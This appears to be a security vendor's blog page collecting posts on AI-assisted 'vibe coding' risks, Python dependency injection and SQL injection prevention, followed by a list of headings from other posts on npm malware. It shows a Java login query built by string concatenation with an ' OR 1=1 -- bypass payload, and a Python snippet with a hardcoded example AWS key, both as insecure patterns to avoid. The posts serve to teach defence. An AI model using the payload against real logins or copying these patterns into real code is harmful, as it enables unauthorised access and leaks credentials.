Relying on functions like stripchar may feel like a quick fix, but they create a false sense of security. Attackers evolve faster than string filters do. The only reliable way to stop injection attacks is by writing secure code by design, and enforcing that design everywhere.

Tools like Xygeni help you do that automatically. From pull request to pipeline, they catch what your filters don’t, and fix it before it reaches production.

Vibe Coding: Trend or Security Disaster Waiting to Happen?

Fátima Said — Thu, 10 Jul 2025 16:40:00 +0000

Introduction: Coding with Vibes, Not Syntax

Typing line after line of code? That’s starting to feel old-school.

In 2025, many developers are switching to a new workflow powered by AI tools like GitHub Copilot, Cursor, and Replit. Instead of writing everything by hand, they describe what they want in plain English and let the model generate the code. It’s fast, intuitive, and oddly satisfying.

This new style has a name: vibe coding.

But is it the future of development or just a fast track to insecure, unmaintainable code?

Let’s break it down.

What Is Vibe Coding?

Vibe coding is a new programming style where developers interact with AI tools in a conversational flow. Instead of writing code directly, they guide large language models (LLMs) using natural-language prompts to generate full functions or entire files.

You don’t code line by line, you follow the vibe.

Where It Comes From

The phrase “vibe coding” was coined by Andrej Karpathy, former Tesla and OpenAI leader, in a 2025 tweet that quickly went viral.

Why Vibe Coding Is Gaining Popularity

Vibe coding is quickly gaining traction, especially among developers working on side projects, prototypes, and early-stage products. Several factors explain why this prompt-driven style has taken off.

Speed Without Sacrificing Flow

One major appeal of vibe coding is its ability to keep developers in the zone. Instead of typing every line, they describe the goal, such as “create an API endpoint”, and let the LLM generate the code. This shortens the feedback loop, reduces context switching, and supports a fast-paced development rhythm.

Built Into Everyday Tools

Another reason for the rise of vibe coding is the growing availability of integrated AI tools. Platforms like GitHub Copilot, Cursor, and Replit have embedded LLM-driven coding assistants directly into IDEs. As a result, developers can stay within their coding environment while interacting with the model. There is no need to jump between tabs or manage separate tools.

Lower Barrier for New Developers

For those still learning or exploring unfamiliar frameworks, vibe coding provides an accessible way to build. Instead of relying on documentation or tutorials, developers prompt the model with plain-language instructions. This allows beginners to focus on what they want to achieve, not on memorizing syntax.

Ideal for Fast Iteration

Finally, vibe coding fits perfectly in use cases that prioritize speed over polish. For early prototypes, MVPs, or one-off internal tools, it is more important to test ideas quickly than to maintain perfect code structure. Because vibe coding streamlines development, it helps teams validate concepts faster, without slowing down for formal reviews or documentation.

The Risks of Vibe Coding in Secure Dev Environments

While vibe coding can accelerate prototyping, it also introduces real risks when used in production or secure environments. Understanding these trade-offs is essential, especially when your codebase affects business-critical systems or customer data.

Security Vulnerabilities

Because vibe coding relies on AI-generated suggestions, developers may unknowingly introduce insecure patterns. As noted by CSET’s 2024 study on AI-generated code, LLMs can produce code that lacks input validation, uses outdated libraries, or fails to follow secure development practices. Without proper review, these issues can go undetected and reach production.

Technical Debt

Another concern is the accumulation of unreviewed or unexplained logic. Developers working in a flow state may accept blocks of generated code without fully understanding them. Over time, this increases technical debt, making future maintenance harder and more error-prone.

Data Leakage

Vibe coding tools often require context about your project. If not properly configured, they may send sensitive snippets to external APIs, risking exposure of internal logic, secrets, or customer data. This is especially problematic in regulated industries where data handling policies are strict.

Lack of Contextual Understanding

LLMs excel at pattern generation but lack situational awareness. They may suggest a working solution that is technically valid but contextually inappropriate, such as using the wrong algorithm, misaligning with business logic, or violating internal policies. In secure environments, this can lead to functional bugs or security gaps.

Want to go deeper into securing AI-generated code?

Learn how to combine AI with static analysis to catch vulnerabilities before they hit production.

Real-World Vibe Coding Example: Fast, But Risky

Let’s say a developer prompts their LLM with:

"Write Python code to upload a file to S3 using boto3."

The LLM might suggest:

import boto3

s3 = boto3.client('s3',
    aws_access_key_id='AKIA123456789EXAMPLE',
    aws_secret_access_key='abc123verysecretkey')

s3.upload_file('file.txt', 'my-bucket', 'file.txt')

The code works. However, it introduces a critical secret, an AWS key, directly into the source code. In a real project, this could lead to:

Secret leakage through git history
Full access to AWS resources if pushed to GitHub
Compromised infrastructure

Because vibe coding often favors momentum over validation, the developer may not pause to sanitize or rotate credentials.

This is why tools like Xygeni are essential. Guardrails can detect exposed secrets, fail the build, and cancel the merge in GitHub, before damage is done.

Popular Vibe Coding Tools (and Their Security Implications)

Vibe coding wouldn’t exist without the rise of AI-powered development tools. These platforms make it easy to prompt code, stay in flow, and build faster. However, not all of them are designed with secure software development in mind.

Here are the most widely used vibe coding tools:

GitHub Copilot: The original LLM pair programmer. Integrated with VS Code, it autocompletes code based on natural-language prompts. It accelerates development, although it has been shown to suggest vulnerable code patterns.
Cursor: A fork of VS Code that’s been rebuilt around prompting. Cursor allows you to talk directly to your codebase using an embedded chat. It’s popular for its speed but lacks strict controls on suggestions.
Replit Ghostwriter: A cloud-based coding environment ideal for prototyping. Developers can describe features in plain English and get instant results. However, it often lacks enterprise-grade security protections.
Codeium and CodeWhisperer: Other Copilot-like tools that plug into your IDE and generate code on demand.

Each of these tools makes vibe coding possible. Yet without proper validation, you may introduce insecure code, hardcoded secrets, or deprecated libraries directly into production.

That’s why you need more than autocomplete. You need enforcement, visibility, and the ability to cancel merge in GitHub when something risky slips through. Xygeni adds this missing security layer, helping you merge safely even in fast-paced, prompt-driven environments.

How to Vibe Code Without Compromising Security

Vibe coding isn’t the problem. Trusting AI-generated code without any security guardrails is.

If you’re using GitHub Copilot, ChatGPT, or similar vibe coding tools to move faster, here’s how to avoid turning that speed into security debt.

1. Don’t Just Paste and Ship

AI doesn’t understand your architecture, trust boundaries, or business logic. Before you merge anything:

Replace all placeholders and dummy values
Validate auth flows, input handling, and error logic
Watch out for dangerous patterns like eval(), insecure regex, or dynamic imports

2. Scan Every Pull Request

The best way to catch AI-generated risks? Automate PR scanning.

Xygeni plugs directly into your GitHub workflows and checks for:

Vulnerable dependencies (SCA)
Leaked secrets from AI-assisted commits
Misconfigurations in CI/CD files
Insecure code patterns with SAST and IaC checks

We don’t just raise issues, we stop unsafe merges.

3. Don’t Paste Secrets into AI Tools

Everything you paste into an AI model could stick around longer than you think. Avoid prompting with:

.env files
API tokens, credentials, or private URLs
Infrastructure details (IAM roles, cloud configs)

Need help with sensitive code? Use redacted snippets or local tools.

4. Treat AI Like a Junior Developer

Even if it runs, it might not be safe. Review AI code like it’s your intern’s first day:

Are the dependencies safe and maintained?
Does it match your secure coding standards?
Is it skipping edge cases or injecting logic flaws?

With Xygeni Guardrails, you can stop PRs that downgrade dependencies, alter sensitive files, or break key policies.

The Verdict: Where Vibe Coding Fits in Secure Dev Workflows

Here’s the bottom line: vibe coding can be a massive productivity unlock, or a fast track to security chaos.

On the positive side, developers using tools like GitHub Copilot or ChatGPT can move faster, iterate more freely, and prototype without friction. Especially for internal tools, MVPs, or spike solutions, vibe coding can help teams get from idea to implementation quickly.

However, without guardrails, you’re exposed.

AI-generated code can:

Introduce unpatched vulnerabilities
Pull in risky or outdated dependencies
Leak secrets into version control
Contain logic flaws that go unnoticed until production

Over time, this leads to technical debt, incident risk, and serious compliance headaches.

Balancing Speed and Safety in the Vibe Coding Era

Vibe coding is not going away. But that doesn’t mean it’s safe by default.

At Xygeni, we believe security should be part of the developer experience, not an afterthought. That’s why we help you scan, enforce, and control every pull request and code suggestion, across the entire SDLC.

You can code fast.

You can stay in flow.

And you can ship securely.

With Xygeni, vibe coding becomes a feature, not a liability.

Python Dependency Injection: How to Do It Safely

Fátima Said — Mon, 28 Apr 2025 07:53:56 +0000

Modern software projects rely heavily on modular design and external libraries, which is why understanding dependency injection in Python is essential—not just for clean architecture, but for secure, scalable development. So, what is dependency injection in Python exactly? It’s a design pattern where components like services, clients, or connectors are passed into a class from the outside, instead of being created within it. When used correctly, Python dependency injection allows for better control over external dependencies, making applications easier to test and harder to compromise.

What Is Dependency Injection in Python?
Dependency injection (DI) is a software design pattern where objects get the resources they need—like services or clients—from the outside, instead of creating them internally.

This promotes:

Loose coupling between components
Easier testing (e.g., mocking dependencies)
More flexible configuration and reuse

Example:

class EmailService:
    def __init__(self, smtp_client):
        self.smtp_client = smtp_client

Instead of hardcoding an SMTP client, you pass it in. This means:

You can test with a fake client.
You can switch implementations (e.g., local vs cloud).
You control where your dependencies come from.

Why Python Dependency Injection Has Security Implications

When you inject external code or configurations into your application, you open up potential security gaps. Dependency injection in Python helps structure software cleanly, but without proper controls, it can introduce serious risks.

Many teams use Python dependency injection to improve flexibility and testing, but they often overlook the security side. If you don’t fully understand what is dependency injection in Python and how it affects your runtime behavior, you might unintentionally expose your app to vulnerable or untrusted components.

Attackers often exploit this blind spot. In dependency confusion attacks, they publish malicious packages to public repositories with names that match internal packages. If your build system doesn’t verify the source, it may install the wrong one—giving attackers a direct path into your environment.

Secrets leakage poses another major risk. Teams sometimes inject API keys, credentials, or tokens through environment variables or config files. Without scanning or sanitization, these secrets can end up exposed in logs, source control, or CI/CD workflows.

Real-World Example: Dependency Confusion

In 2021, an ethical hacker uploaded packages to PyPI that mirrored internal names used by major tech companies. Because some build systems prioritized public over private packages, these fake packages were installed and executed inside trusted corporate environments.

This attack highlights the importance of controlled dependency sourcing and validating all injected components—including sensitive configuration values.

How to Secure Python Dependency Injection

Want the full breakdown? Read the complete post on our blog:
Python Dependency Injection: How to Do It Safely

How to Prevent SQL Injection

Fátima Said — Thu, 03 Apr 2025 09:30:52 +0000

SQL injections remain one of the most dangerous and widespread web application vulnerabilities. If not addressed, they can allow attackers to access, modify, or destroy sensitive data through poorly written database queries. That’s why understanding how to prevent SQL injection—and applying proactive SQL injection testting—is essential for every development and DevSecOps team today.

A recent ScienceDirect study revealed that **24.6% of real-world attacks still involve SQL injection **flaws, proving how persistent and impactful this threat remains.

In this guide, we’ll cover:

What SQL injections are and how they work
OWASP-recommended prevention techniques
Key SQL injection testting strategies
How Xygeni’s SAST engine detects SQL injection vulnerabilities early in the SDLC

Let’s dive into how to secure your code, shift security left, and defend your software supply chain from one of the oldest (and still active) attack methods.

What Is SQL Injection?

SQL Injection is a code-level attack where malicious input is inserted into SQL queries to manipulate or bypass database operations. It often occurs when user-supplied data is used in a query without proper validation or sanitization.

For example, attackers can exploit login forms, search bars, or API parameters to:

Bypass authentication
Retrieve sensitive data
Delete or corrupt records
Execute admin operations in the database**

If you want to prevent SQL injections, the first step is understanding how they work.

Real-World SQL Injection Example

Take a simple Java login query:

String query = "SELECT * FROM users WHERE username = '" + user + "' AND password = '" + pass + "'";

If a user inputs this:

user: ' OR 1=1 --
pass: anything

It becomes:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''

The attacker gains access by making the condition always true. This is a textbook example of why SQL injection testting is so critical during development.

How to Prevent SQL Injections: Practical Tips

Want the full breakdown? Read the complete post on our blog:
How to Prevent SQL Injection (Xygeni Blog)

Forem: Fátima Said

New npm Infostealer Discovery: Nyx Stealer Hijacks Discord Sessions

TL;DR

Technical Overview of This npm Infostealer

How This npm Infostealer Actually Executes

Core Technique Summary

High-Level Execution Model

Runtime Encryption Pattern (Core Execution Mechanism)

Why This Matters

What Happens After Decryption

Wave 1: Browser Credential Extraction

Wave 2: Discord Token Decryption

Persistence via Discord Desktop Injection

Operational Sequence

Technical Comparison: Legitimate Selfbot vs npm Infostealer

Wave 3: Cryptocurrency Wallet Targeting

Detection and Mitigation with Xygeni

npm Infostealer

Why This npm Infostealer Matters

Malicious npm Package in Baileys Fork (Skyzopedia Case)

TL;DR

Technical Overview

Runtime Injection Mechanism Inside the Malicious npm Package

Technical Comparison: Legitimate vs Injected Behavior

Dynamic Control Channel via GitHub

Dependency Alias and Attribution Signals

Indicators of Compromise for This Malicious npm Package

Network Signals

Package Signals

Behavioral Signals

Detection and Mitigation with Xygeni

Full-Source Static Analysis

Dependency Risk Correlation

Runtime-Aware Supply Chain Controls

Why This Malicious npm Package Matters for Supply Chain Security

Shai-Hulud: The npm Packages Worm Explained

TL;DR

What Happened?

Possible Initial Vector and Targeted Credentials

Timeline of the Shai-Hulud Supply Chain Attack in npm Packages

2. Executive Impact of the Shai-Hulud Supply Chain Attack

3. How the Shai-Hulud Supply Chain Attack Works in npm Packages

3.1 Attacker Objectives and Motive

3.2 Inside the Shai-Hulud Payload: bundle.js

3.3 Install-Time Execution

Persistence and Exposure

Key Detection Note

Sanitized Workflow Pattern You Should Hunt For

High-Level Propagation Pseudo-Code (Safe, Descriptive)

3.4 Why This Is a Worm in a Package Ecosystem

3.5 “How It Works” Cheat-Sheet

4. How to Avoid This Class of Attack, Practically

Stop Bad Artifacts at the Gate

Harden CI/CD by Default

Reduce the Token Blast Radius

See Worm Behavior Early

Fix Quickly Without Breaking Builds

5. Indicators of Compromise (IoCs)

Static IoCs

Behavioral IoCs

Quick Hunts

6. Conclusion: Lessons from Shai-Hulud

Lessons for Developers and DevOps Teams:

Why Stripchar Didn’t Block That Injection Attack

What stripchar Actually Does (and Doesn’t)

How Attackers Bypass Input Sanitization

Why You Should Use Parameterized Queries Instead

Don’t Rely on stripchar. Use Xygeni to Enforce Real Defenses

Key Takeaways: What to Remember About stripchar and Injection Risks

Conclusion: Don’t Trust Filters. Secure by Design.

Vibe Coding: Trend or Security Disaster Waiting to Happen?

Introduction: Coding with Vibes, Not Syntax

What Is Vibe Coding?

Where It Comes From

Why Vibe Coding Is Gaining Popularity

Speed Without Sacrificing Flow

Built Into Everyday Tools

Lower Barrier for New Developers

Ideal for Fast Iteration

The Risks of Vibe Coding in Secure Dev Environments

3.2 Inside the Shai-Hulud Payload: `bundle.js`

What `stripchar` Actually Does (and Doesn’t)

Don’t Rely on `stripchar`. Use Xygeni to Enforce Real Defenses

Key Takeaways: What to Remember About `stripchar` and Injection Risks